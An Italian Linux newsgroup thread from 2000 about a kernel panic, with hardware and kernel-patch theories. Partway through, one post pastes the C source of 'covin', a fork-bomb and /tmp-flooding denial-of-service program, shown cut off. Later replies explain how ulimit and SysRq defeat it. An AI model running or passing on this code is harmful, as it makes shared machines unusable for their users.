Newsgroup: it.comp.os.linux.sys
Titolo: Oh no! Crash!

oggi  mi si  è  impiantato il  pc  e  sono sconvolto  (non  ci sono  più
abituato) . Non capisco il motivo, l'unico indizio che ho trovato è
kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
Che vuol dire?
-- 
Non c'è più forza nella normalità: c'è solo monotonia.

Ciao Ottavio Campana,
 > oggi  mi si  č  impiantato il  pc  e  sono sconvolto  (non  ci sono  piů
 > abituato) . Non capisco il motivo, l'unico indizio che ho trovato č
un mese fa linux ha incominciato ad andare in blocco (quasi) ogni volta che 
passavo da consolle a X. Inspiegabile, non lo faceva sempre.
Ho aperto il CASE e ho tocchettato (risistemato) tutte le connessioni.
Fine dei problemi.
"se non e' software, e' hardware"
:-)
-- 
Pa.Ped, Como
http://www.fastflow.it/~paolop


visto che ci siamo....
l'altro giorno ho acceso il pc e dopo un pň
mi sono accorto che era rimasto lě con LIL- ;-)
mai successo.... ========> floppy di boot; #lilo -v
tutto risolto
ciao
-- 
Reply by removing one "z" in the email
Life is like a windows box. You never know what bluescreen you're gonna get.

 In swapper task - not syncing
Mah forse mi sbaglio ma sembrerebbe un problema con il tuo
Harddisk .
Prova a fare uno scandisk con windows (quello approfondito).
p.s. le uniche 3 volte che mi si e' impiantato linux ....
era dovuto al fatto che le ram non erano ben incastrate
(a seguito di uno spostamento del pc).
Pensa che mentre linux era instablile....windows non partiva proprio. :-)
Per il resto mai e poi mai impiantato linux per casuse software !
bye
 
NamkoTech


A volte per cose talmente inspiegabili, ad esempio sul master boot record mai
toccato da qualche mese, ti viene da pensare che questi dischi si smagnetizzano
da soli con l'umidita' o il calore... o meglio piu' razionalmente adesso mi
viene in mente che magari ti potresti essere dimenticato un floppy virato
nell'unita'... mah...
bye G.L.

bye G.L.


non è una scienza esatta...;-)
No, l'informatica e' una scienza esatta, e' che i computer non lo sanno.
-- 
--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#--#-
L'universita' americana di Berkeley ha prodotto due importanti invezioni:
l'LSD e Unix.
Credo non sia una coincidenza.
                                          Jeremy S. Anderson

No, l'informatica e' una scienza esatta, e' che i computer non lo sanno.
Stupenda!
-- 
Lorenzo
"Given enough eyeballs, all bugs are shallow", Linus'Law
(per rispondere via email fai un rot13 dell'indirizzo)
(apply a rot13 to reply)

 Pensa che mentre linux era instablile....windows non partiva proprio. :-)
a me il  massimo è successo due  sabati fa. Installo linux su  un pc con
due  alloggiamenti per  dischi IDE  estraibili. In  uno c'era  il disco,
l'altro era  vuoto. Quello vuoto aveva  le spie mentre quello  col disco
no, così  quando il  disco andava lampeggiava  l'altro. Colto  da chissà
quale malvagia ispirazione  ho voluto togliere il  cassetto che sembrava
essere  senza disco  mentre stavo  installando dei  pacchetti. Accortomi
della  stronzata o  rimesso su  il disco  ed è  ripartito come  se nulla
fosse. Alla faccia di win che si sarabbe formattato da solo...


 bye G.L.
Piu' o meno temo di avere dei problemi del genere pure io; ad esempio e'
una cosa quotidiana che Linux (RH 6.1) non mi parta al primo boot ... si
blocca sempre per qualche motivo (con errori piu' o meno lunghi e/o
strani); in genere va tutto ok al secondo.
Ad esempio prima di scrivere questa e-mail: avevo lasciato il PC acceso
e, dopo un 30 min, sono tornato e mi sono trovato il pinguino alla
console anziche' sotto GNOME+E+Netscape ... eppure non lo ha toccato
nessuno e, tra l'altro, non e' una cosa che mi capita raramente.
Io non so piu' se dare la colpa all'HW, alla Distribuzione (avra' pure
dei bachi, ma questi mi sembrano esagerati) o proprio al kernel.
Mi chiedevo se ci sono altri utenti che accusano gli stessi problemi con
la medesima distro, ecc ... ?
Ciao, U D A.
-- 
**********************************************************************
UDA'Software
mailto:
Andrea....@uda.itgo.com
http://uda.itgo.com

la medesima distro, ecc ... ?
beh, l'ho avuta per svariati mesi e non mi ha mai dato problemi del
genere, quindi kernel e distro sono esclusi. Forse gli hai dato
qualche impostazione particolare che non digerisce bene?
Jabba
--
 g_farinelli at yahoo punto com
______________________________
c:\> win2000patch001.exe
This Microsoft(c) patch fix all bugs present. All rigth reserved.
Insert Linux boot disk to continue ... loading kernel ...


SCANDISK /ALL /SURFACE /AUTOFIX /FILESYS:EXT2 ?
bye G.L.
--
  Antispamming: metti "sole" in luogo di "maps"
  Antispamming: replace "maps" with "sole"

 No, l'informatica e' una scienza esatta, e' che i computer non lo sanno.
LOL!


 strani); in genere va tutto ok al secondo.
In casi del genere, che avvengono anche con l'mbr di dos, e che spesso si verificano
pasticciando sul disco con parametri cyl/hds/sec/mts/lba/udma ogni volta diversi
(banalmente anche solo usando l'hdu su piu' macchine diverse), risolvo formattando a
basso livello almeno il cilindro zero.


 fosse. Alla faccia di win che si sarabbe formattato da solo...
A me invece Linux a messo in grado di installare win (sembra una bestemmia
lo so).
Dovevo rimettero su win a un mio amico con un cd semi distrutto, win si
bloccava nell'istallazione x' non lo leggeva, allora parto con un root
disk mi copio il file cab senza problemi e glielo faccio leggere, mi
sembra un esempio lampante di due diverse concezioni nella gestione
dell'hw. 

   Antispamming: replace "maps" with "sole"
Ho installato la RH 6.1 Completamente lasciando i parametri di default
(o comunque modificando il minimo indispensabile) su un Hard-Disk di 4.4
GB precedentemente Formattato a Basso Livello.
Attualmente ho solo Linux installato e, per il momento, non intendo
installare Windows (lo faro' solo se costretto) quindi non posso nemmeno
fare un paragone per vedere se Windows funzia correttamente.
Mi chiedevo: esiste per Linux un test diagnostico da far girare per
qualche ora (se non giorno) o cmq mi sapete consigliare quale mi
conviene usare ?


Prova a fare uno scandisk con windows (quello approfondito).
Addio hd!
-- 
Ci sentiamo  |                             
             |   
remigio...@tiscalinet.it
Ciao Remigio |                                  /2000 e Linux/

 Prova a fare uno scandisk con windows (quello approfondito).
Scandisk?!? windows?!? C'e' qualcosa che mi sfugge...
-- 
GHERdO, alla ricerca di un portatile 486

Tempo perso, e` innocuo.
Io ne ho trovato uno un po' meno innocuo... 
se non si settano dei limiti decenti e' capace di crashare davvero la
macchina.


 In swapper task - not syncing
e' successo  di nuovo:  scarico le  news con fetchmail  e poi  spengo il
modem. Di solito  l'interfaccia ppp0 viene eliminata da sola,  ma per la
seconda volta mi  si č inchiodato. Puň essere un  baco del 2.2.14, visto
che con altri kernel tutto ha sempre funzionato?
-- 
Non c'č piů forza nella normalitŕ: c'č solo monotonia.

macchina.
Dove si trova?


On Sat, 19 Feb 2000 10:18:26 GMT, Ottavio Campana wrote
| > In swapper task - not syncing
| 
| e' successo  di nuovo:  scarico le  news con fetchmail  e poi  spengo il
| modem. Di solito  l'interfaccia ppp0 viene eliminata da sola,  ma per la
| seconda volta mi  si è inchiodato. Può essere un  baco del 2.2.14, visto
| che con altri kernel tutto ha sempre funzionato?
Io ho appena  appena aggiornato (patchandolo) il mio  2.2.12 a 2.2.14...
Non ho ancora provato a fondo, pero` ti faccio sapere se succede anche a
me...
-- 
 ____      ___              | 3/4 Romulan, 1/4 Vorta. | [70:2E] [71:FF]
/_  / ___ / _/______ ___ _  | Stirred, not Shaked.    |  - CMOS Eraser 
 / /_/ -_) _/ __/ _ \/  ' \ | 
http://zefram.8m.com
    | Lasciate che i concetti
/___/\__/_//_/  \_,_/_/_/_/ | 
zef...@libero.it
        | fluiscano liberi - ZC
Zef is on a Red Hat Linux release 6.1 (Cartman), Linux 2.2.14 i586

qualche giorno fa :-)
Se e' quello razzista si'...
solo che ho modificato il nome del file, ovviamente :-)
Inserisco qui di seguito:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10
#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/
void dirs_generator(void);
main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;
//unlink(argv[0]);
/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);
#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif
#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif
if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.schiattastronzo",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}
void dirs_generator(void)
{
char alph[] = "       abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;
printf("Making dirs..\n");
chdir(START_DIR);
fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();
while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i<flen; i++)
                fl[i] = alph[rand() % strlen(alph)];
	fl[MAX_FILELEN-1]=0;
	i=open(fl,O_WRONLY|O_CREAT);
	write(i,"fuck you! CoViN",16);
	close(i);
	flen= (rand() % MAX_DIRLEN) - 1;
	for(i=0; i<flen; i++)
		dir[i] = alph[rand() % strlen(alph)];
	dir[MAX_DIRLEN-1]=0;
	mkdir(dir,0);	
	chdir(dir);


 me...
io ho anche la patch per l'usb che trovi a 
www.linux-usb.org


Inserisco qui di seguito:
Ormai lo conosco bene, l'ho usato una ventina volte e non e` in grado
di mandare in crash Linux. Il massimo che ti puo` capitare e` ritrovarti
con una macchina con carichi alle stelle e quindi inutilizzabile.
Se hai una configurazione razionale di ulimit il problema non esiste.
Se vuoi divertirti con i 256 processi disponibili agli utenti basta
che setti la policy di una shell root a RT e poi ci lanci top.
Quando ti sei stufato un killall -9 covin riporta le cose a posto in 10
secondi.
Se non vuoi settare una shell root a RT e hai un 2.2.x con SysRq
ti basta fare ALT+SysRq+K sulla console da dove e` stato avviato covin
e in 5 secondi i processi impazziti muoiono come mosche.


Se hai una configurazione razionale di ulimit il problema non esiste.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Hai centrato il problema. Su una macchina su cui non e' settato da' grossi
problemi, se non altro perche' intasa /tmp, che spesso non e' una partizione
a se' ma e' in /
("spesso" se non installo io :-))
Comunque se setti ulimit e configuri decentemente la macchina penso sia
mooolto difficile crashare Linux da utente.


On Tue, 22 Feb 2000 10:25:17 GMT, Ottavio Campana wrote
| > Io ho appena  appena aggiornato (patchandolo) il mio  2.2.12 a 2.2.14...
| > Non ho ancora provato a fondo, pero` ti faccio sapere se succede anche a
| > me...
| 
| io ho anche la patch per l'usb che trovi a 
www.linux-usb.org
Dato che non ho usb, non so se mi conviene installarlo...
Pero`, se a me va e a te no, comincerei a pensare a quella patch...


 Pero`, se a me va e a te no, comincerei a pensare a quella patch...
probabilmente...


che con altri kernel tutto ha sempre funzionato?
Non  credo.  Dopo  aver  letto   il  tuo  messaggio  termino  sempre  la
connessione PPP spegnendo il modem esterno, nuovo di zecca :))
Utilizzo il kernel 2.2.14 (prelevato il  .tar.gz e compilato). Non si e'
mai inchiodato.
Scarichi le news con fetchmail?
Ciao
Ale
-- 
Per ottenere il mio indirizzo e-mail sostituire a NOSPAM il mio cognome

 Scarichi le news con fetchmail?
con fetchnews di leafnode
